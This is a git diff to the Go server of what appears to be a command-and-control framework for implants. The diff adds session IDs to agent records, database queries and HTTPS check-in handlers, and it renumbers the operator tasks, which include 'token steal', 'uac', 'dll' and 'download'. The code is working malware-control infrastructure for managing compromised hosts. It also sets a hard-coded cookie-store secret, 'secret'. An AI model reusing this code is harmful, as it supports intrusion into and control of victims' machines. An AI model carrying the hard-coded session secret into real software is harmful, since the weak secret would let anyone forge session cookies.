0x6d, 0x69, - 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, - 0x42, 0x08, 0x52, 0x50, 0x43, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x2e, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x68, 0x69, 0x64, 0x65, 0x63, 0x6b, 0x69, - 0x65, 0x73, 0x2f, 0x68, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x33, + 0x22, 0x00, 0x12, 0x2e, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, + 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x22, 0x00, 0x12, 0x38, 0x0a, 0x14, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6c, 0x65, 0x61, 0x72, 0x42, + 0x79, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x0b, 0x2e, 0x72, 0x70, 0x63, + 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x42, 0x5c, 0x0a, 0x1e, + 0x6f, 0x72, 0x67, 0x2e, 0x68, 0x64, 0x6b, 0x73, 0x2e, 0x68, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x42, 0x08, + 0x52, 0x50, 0x43, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x2e, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x68, 0x69, 0x64, 0x65, 0x63, 0x6b, 0x69, 0x65, 0x73, + 0x2f, 0x68, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var ( diff --git a/pkg/protobuf/rpcpb/rpc.proto b/pkg/protobuf/rpcpb/rpc.proto index 483ca27..7d0ef55 100644 --- a/pkg/protobuf/rpcpb/rpc.proto +++ b/pkg/protobuf/rpcpb/rpc.proto @@ -140,6 +140,7 @@ message Agent { int64 killDate = 13; string aesKey = 14; string aesIV = 15; + string sessionId = 16; } message Task { diff --git a/pkg/server/agent/agent.go b/pkg/server/agent/agent.go index a7e1a60..bba024e 100644 --- a/pkg/server/agent/agent.go +++ b/pkg/server/agent/agent.go @@ -20,6 +20,7 @@ type Agent struct { Jitter uint KillDate uint AES *crypt.AES + SessionId string // it's used for HTTPS request of implant } func NewAgent( @@ -37,6 +38,7 @@ func NewAgent( jitter uint, killDate uint, aes *crypt.AES, + sessionId string, ) (*Agent, error) { if name == "" { name = utils.GenerateRandomHumanName(false, "agent") @@ -65,5 +67,6 @@ func NewAgent( Jitter: jitter, KillDate: killDate, AES: aes, + SessionId: sessionId, }, nil } diff --git a/pkg/server/agent/stdout.go b/pkg/server/agent/stdout.go index 17dffe2..52ecab9 100644 --- a/pkg/server/agent/stdout.go +++ b/pkg/server/agent/stdout.go @@ -22,6 +22,7 @@ func PrintAgents(ags []*Agent) { "ListenerURL", "ImplantType", "CheckIn", + "SessionID", } tRows := [][]string{} for _, ag := range ags { @@ -34,6 +35,7 @@ func PrintAgents(ags []*Agent) { ag.ListenerURL, ag.ImplantType, ag.CheckInDate, + ag.SessionId, }) } @@ -58,6 +60,7 @@ func PrintAgentDetails(ag *Agent) { stdout.NewSingleTableItem("KillDate", meta.GetDateTimeFromTimestamp(int(ag.KillDate))), stdout.NewSingleTableItem("AES Key", ag.AES.Key.Base64), stdout.NewSingleTableItem("AES IV", ag.AES.IV.Base64), + stdout.NewSingleTableItem("SessionID", ag.SessionId), } stdout.LogSuccess("") diff --git a/pkg/server/db/agent.go b/pkg/server/db/agent.go index 271b758..31228b0 100644 --- a/pkg/server/db/agent.go +++ b/pkg/server/db/agent.go @@ -36,9 +36,10 @@ func (d *Database) AgentAdd(ag *agent.Agent) error { jitter, killdate, aesKey, - aesIV + aesIV, + sessionId ) VALUES ( - ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? + ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? ) `) if err != nil { @@ -61,6 +62,7 @@ func (d *Database) AgentAdd(ag *agent.Agent) error { int(ag.KillDate), ag.AES.Key.Base64, ag.AES.IV.Base64, + ag.SessionId, ) if err != nil { return err @@ -122,7 +124,8 @@ func (d *Database) AgentUpdate(ag *agent.Agent) error { jitter = ?, killdate = ?, aesKey = ?, - aesIV = ? + aesIV = ?, + sessionId = ? WHERE uuid = ? `) @@ -145,6 +148,7 @@ func (d *Database) AgentUpdate(ag *agent.Agent) error { int(ag.KillDate), ag.AES.Key.Base64, ag.AES.IV.Base64, + ag.SessionId, ag.Uuid, ) if err != nil { @@ -231,7 +235,8 @@ func (d *Database) AgentGetById(agentId uint) (*agent.Agent, error) { jitter, killdate, aesKey, - aesIV + aesIV, + sessionId FROM agent WHERE @@ -258,6 +263,7 @@ func (d *Database) AgentGetById(agentId uint) (*agent.Agent, error) { killDate int aesKey string aesIV string + sessionId string ) err = stmt.QueryRow(agentId).Scan( &id, @@ -275,6 +281,7 @@ func (d *Database) AgentGetById(agentId uint) (*agent.Agent, error) { &killDate, &aesKey, &aesIV, + &sessionId, ) if err != nil { return nil, err @@ -300,6 +307,7 @@ func (d *Database) AgentGetById(agentId uint) (*agent.Agent, error) { uint(jitter), uint(killDate), newAES, + sessionId, ) if err != nil { return nil, err @@ -325,7 +333,8 @@ func (d *Database) AgentGetByUuid(agentUuid string) (*agent.Agent, error) { jitter, killdate, aesKey, - aesIV + aesIV, + sessionId FROM agent WHERE @@ -352,6 +361,7 @@ func (d *Database) AgentGetByUuid(agentUuid string) (*agent.Agent, error) { killDate int aesKey string aesIV string + sessionId string ) err = stmt.QueryRow(agentUuid).Scan( &id, @@ -369,6 +379,7 @@ func (d *Database) AgentGetByUuid(agentUuid string) (*agent.Agent, error) { &killDate, &aesKey, &aesIV, + &sessionId, ) if err != nil { return nil, err @@ -394,6 +405,7 @@ func (d *Database) AgentGetByUuid(agentUuid string) (*agent.Agent, error) { uint(jitter), uint(killDate), newAES, + sessionId, ) if err != nil { return nil, err @@ -419,7 +431,8 @@ func (d *Database) AgentGetAll() ([]*agent.Agent, error) { jitter, killdate, aesKey, - aesIV + aesIV, + sessionId FROM agent `) @@ -447,6 +460,7 @@ func (d *Database) AgentGetAll() ([]*agent.Agent, error) { killDate int aesKey string aesIV string + sessionId string ) err = rows.Scan( &id, @@ -464,6 +478,7 @@ func (d *Database) AgentGetAll() ([]*agent.Agent, error) { &killDate, &aesKey, &aesIV, + &sessionId, ) if err != nil { return nil, err @@ -489,6 +504,7 @@ func (d *Database) AgentGetAll() ([]*agent.Agent, error) { uint(jitter), uint(killDate), newAES, + sessionId, ) if err != nil { return nil, err diff --git a/pkg/server/db/db.go b/pkg/server/db/db.go index 06d8e36..f706bc6 100644 --- a/pkg/server/db/db.go +++ b/pkg/server/db/db.go @@ -84,7 +84,8 @@ func (d *Database) init() error { jitter INTEGER, killdate INTEGER, aesKey TEXT, - aesIV TEXT + aesIV TEXT, + sessionId TEXT )`) if err != nil { return err diff --git a/pkg/server/service/https.go b/pkg/server/service/https.go index 1311daa..ac57d75 100644 --- a/pkg/server/service/https.go +++ b/pkg/server/service/https.go @@ -9,6 +9,8 @@ import ( "strings" "time" + "github.com/gin-contrib/sessions" + "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" "github.com/google/uuid" "github.com/gorilla/websocket" @@ -53,19 +55,12 @@ type LoaderData struct { type SocketData struct { } -// This function is used for verifying the connected agent. -func verifyAgentCheckIn(ag *agent.Agent, ip string, os string, arch string, hostname string) bool { - if ag.Ip == ip && ag.OS == os && ag.Arch == arch && ag.Hostname == hostname { - return true - } else { - return false - } -} - func handleImplantCheckIn(serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { clientIP := ctx.ClientIP() + session := sessions.Default(ctx) + // Read JSON data jsonBytes, err := ctx.GetRawData() if err != nil { @@ -82,19 +77,19 @@ func handleImplantCheckIn(serverState *state.ServerState) gin.HandlerFunc { checkInDate := meta.GetCurrentDateTime() // Check if the agent already exists on the database. - ags, err := serverState.DB.AgentGetAll() - if err != nil { - ctx.String(http.StatusBadRequest, "") - return - } - - var targetAgent *agent.Agent = nil - for _, ag := range ags { - if verifyAgentCheckIn(ag, clientIP, checkInData.OS, checkInData.Arch, checkInData.Hostname) { - targetAgent = ag - break - } - } + // ags, err := serverState.DB.AgentGetAll() + // if err != nil { + // ctx.String(http.StatusBadRequest, "") + // return + // } + // var targetAgent *agent.Agent = nil + // for _, ag := range ags { + // if ag.Ip == clientIP && ag.OS == checkInData.OS && + // ag.Arch == checkInData.Arch && ag.Hostname == checkInData.Hostname { + // targetAgent = ag + // break + // } + // } // Get AES key/iv newAES, err := crypt.NewAESFromBase64Pairs(checkInData.AESKeyBase64, checkInData.AESIVBase64) @@ -103,61 +98,100 @@ func handleImplantCheckIn(serverState *state.ServerState) gin.HandlerFunc { return } - if targetAgent == nil { - - // Add new agent to the database - targetAgent, err = agent.NewAgent( - 0, - uuid.NewString(), - "", - clientIP, - checkInData.OS, - checkInData.Arch, - checkInData.Hostname, - checkInData.ListenerURL, - checkInData.ImplantType, - checkInDate, - checkInData.Sleep, - checkInData.Jitter, - checkInData.KillDate, - newAES, - ) - if err != nil { - ctx.String(http.StatusBadRequest, "Failed to initialize target agent.") - return - } + // if targetAgent == nil { + // // Generate a new session. + // newSessionId := utils.GenerateRandomAlphaNum(32) + + // // Add new agent to the database + // targetAgent, err = agent.NewAgent( + // 0, + // uuid.NewString(), + // "", + // clientIP, + // checkInData.OS, + // checkInData.Arch, + // checkInData.Hostname, + // checkInData.ListenerURL, + // checkInData.ImplantType, + // checkInDate, + // checkInData.Sleep, + // checkInData.Jitter, + // checkInData.KillDate, + // newAES, + // newSessionId, + // ) + // if err != nil { + // ctx.String(http.StatusBadRequest, "Failed to initialize target agent.") + // return + // } + + // if err := serverState.DB.AgentAdd(targetAgent); err != nil { + // ctx.String(http.StatusBadRequest, "Failed to add target agent on database.") + // return + // } + // } else { + // // Update the agent info + // targetAgent.Hostname = checkInData.Hostname + // targetAgent.CheckInDate = checkInDate + // targetAgent.AES = newAES + // if err := serverState.DB.AgentUpdate(targetAgent); err != nil { + // ctx.String(http.StatusBadRequest, "Failed to update agent info.") + // return + // } + // } + + // Generate a new session and save it. + newSessionId := utils.GenerateRandomAlphaNum(32) + session.Set("session_id", newSessionId) + session.Save() + + // Add new agent to the database + newAgent, err := agent.NewAgent( + 0, + uuid.NewString(), + "", + clientIP, + checkInData.OS, + checkInData.Arch, + checkInData.Hostname, + checkInData.ListenerURL, + checkInData.ImplantType, + checkInDate, + checkInData.Sleep, + checkInData.Jitter, + checkInData.KillDate, + newAES, + newSessionId, + ) + if err != nil { + ctx.String(http.StatusBadRequest, "Failed to initialize target agent.") + return + } - if err := serverState.DB.AgentAdd(targetAgent); err != nil { - ctx.String(http.StatusBadRequest, "Failed to add target agent on database.") - return - } - } else { - // Update the agent info - targetAgent.Hostname = checkInData.Hostname - targetAgent.CheckInDate = checkInDate - targetAgent.AES = newAES - if err := serverState.DB.AgentUpdate(targetAgent); err != nil { - ctx.String(http.StatusBadRequest, "Failed to update agent info.") - return - } + if err := serverState.DB.AgentAdd(newAgent); err != nil { + ctx.String(http.StatusBadRequest, "Failed to add target agent on database.") + return } // Make the agent directory and others - err = metafs.MakeAgentChildDirs(targetAgent.Name, false) + err = metafs.MakeAgentChildDirs(newAgent.Name, false) if err != nil { ctx.String(http.StatusBadRequest, "Failed to make agent child directories.") return } - ctx.String(http.StatusOK, targetAgent.Uuid) + // ctx.String(http.StatusOK, targetAgent.Uuid) + ctx.JSON(http.StatusOK, gin.H{"uuid": newAgent.Uuid, "session_id": newAgent.SessionId}) } return gin.HandlerFunc(fn) } func handleImplantDownload(serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { - // Get the client UUID - clientUUID := ctx.GetHeader("X-UUID") + // Get agent UUID and session ID + session := sessions.Default(ctx) + uuid := ctx.GetHeader("X-UUID") + sessionID := session.Get("session_id") // Check if the agent exists on the database var targetAgent *agent.Agent = nil @@ -167,7 +201,7 @@ func handleImplantDownload(serverState *state.ServerState) gin.HandlerFunc { return } for _, ag := range ags { - if ag.Uuid == clientUUID { + if ag.Uuid == uuid && ag.SessionId == sessionID { targetAgent = ag break } @@ -221,8 +255,10 @@ func handleImplantDownload(serverState *state.ServerState) gin.HandlerFunc { func handleImplantTaskGet(serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { - // Get the client UUID - clientUUID := ctx.GetHeader("X-UUID") + // Get agent UUID and session ID + session := sessions.Default(ctx) + uuid := ctx.GetHeader("X-UUID") + sessionID := session.Get("session_id") ags, err := serverState.DB.AgentGetAll() if err != nil { @@ -231,7 +267,7 @@ func handleImplantTaskGet(serverState *state.ServerState) gin.HandlerFunc { } var targetAgent *agent.Agent = nil for _, ag := range ags { - if ag.Uuid == clientUUID { + if ag.Uuid == uuid && ag.SessionId == sessionID { targetAgent = ag break } @@ -273,8 +309,10 @@ func handleImplantTaskGet(serverState *state.ServerState) gin.HandlerFunc { func handleImplantTaskResult(serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { - // Get the client UUID - clientUUID := ctx.GetHeader("X-UUID") + // Get agent UUID and session ID + session := sessions.Default(ctx) + uuid := ctx.GetHeader("X-UUID") + sessionID := session.Get("session_id") ags, err := serverState.DB.AgentGetAll() if err != nil { @@ -284,7 +322,7 @@ func handleImplantTaskResult(serverState *state.ServerState) gin.HandlerFunc { var targetAgent *agent.Agent = nil for _, ag := range ags { - if ag.Uuid == clientUUID { + if ag.Uuid == uuid && ag.SessionId == sessionID { targetAgent = ag break } @@ -416,8 +454,10 @@ func handleImplantTaskResult(serverState *state.ServerState) gin.HandlerFunc { func handleImplantUpload(serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { - // Get the client UUID - clientUUID := ctx.GetHeader("X-UUID") + // Get agent UUID and session ID + session := sessions.Default(ctx) + uuid := ctx.GetHeader("X-UUID") + sessionID := session.Get("session_id") // Get the agent ags, err := serverState.DB.AgentGetAll() @@ -427,7 +467,7 @@ func handleImplantUpload(serverState *state.ServerState) gin.HandlerFunc { } var targetAgent *agent.Agent = nil for _, ag := range ags { - if ag.Uuid == clientUUID { + if ag.Uuid == uuid && ag.SessionId == sessionID { targetAgent = ag break } @@ -514,6 +554,11 @@ func handleImplantUpload(serverState *state.ServerState) gin.HandlerFunc { } func handleImplantWebSocket(ctx *gin.Context) { + // Get agent UUID and session ID + // session := sessions.Default(ctx) + // uuid := ctx.GetHeader("X-UUID") + // sessionID := session.Get("session_id") + stdout.LogSuccess(fmt.Sprintf("Received from %s on WebSocket\n", ctx.ClientIP())) w, r := ctx.Writer, ctx.Request c, err := upgrader.Upgrade(w, r, nil) @@ -726,10 +771,13 @@ func HttpsStart( return err } + store := cookie.NewStore([]byte("secret")) + gin.SetMode(gin.ReleaseMode) router := gin.New() router.HandleMethodNotAllowed = false - router.Use(gin.Recovery()) + // router.Use(gin.Recovery()) + router.Use(sessions.Sessions("mysession", store)) httpsRoutes(router, lis, serverState) diff --git a/pkg/server/task/task.go b/pkg/server/task/task.go index 75b98e4..73d33e5 100644 --- a/pkg/server/task/task.go +++ b/pkg/server/task/task.go @@ -14,10 +14,10 @@ const ( TASK_CMD = 0x04 TASK_CONNECT = 0x05 TASK_CP = 0x06 - TASK_CREDS_STEAL = 0x07 - TASK_DLL = 0x08 - TASK_DOWNLOAD = 0x09 - TASK_ENV_LS = 0x10 + TASK_DLL = 0x07 + TASK_DOWNLOAD = 0x08 + TASK_ENV_LS = 0x09 + TASK_FIND = 0x10 TASK_GROUP_LS = 0x11 TASK_HISTORY = 0x12 TASK_IP = 0x13 @@ -48,10 +48,11 @@ const ( TASK_SLEEP = 0x38 TASK_TOKEN_REVERT = 0x39 TASK_TOKEN_STEAL = 0x40 - TASK_UPLOAD = 0x41 - TASK_USER_LS = 0x42 - TASK_WHOAMI = 0x43 - TASK_WHOAMI_PRIV = 0x44 + TASK_UAC = 0x41 + TASK_UPLOAD = 0x42 + TASK_USER_LS = 0x43 + TASK_WHOAMI = 0x44 + TASK_WHOAMI_PRIV = 0x45 ) func GetTaskCode(task string) (int, error) { @@ -68,14 +69,14 @@ func GetTaskCode(task string) (int, error) { return TASK_CONNECT, nil case "cp": return TASK_CP, nil - case "creds steal": - return TASK_CREDS_STEAL, nil case "dll": return TASK_DLL, nil case "download": return TASK_DOWNLOAD, nil case "env ls", "envs": return TASK_ENV_LS, nil + case "find": + return TASK_FIND, nil case "group ls", "groups": return TASK_GROUP_LS, nil case "history": @@ -136,6 +137,8 @@ func GetTaskCode(task string) (int, error) { return TASK_TOKEN_REVERT, nil case "token steal": return TASK_TOKEN_STEAL, nil + case "uac": + return TASK_UAC, nil case "upload": return TASK_UPLOAD, nil case "user ls", "users":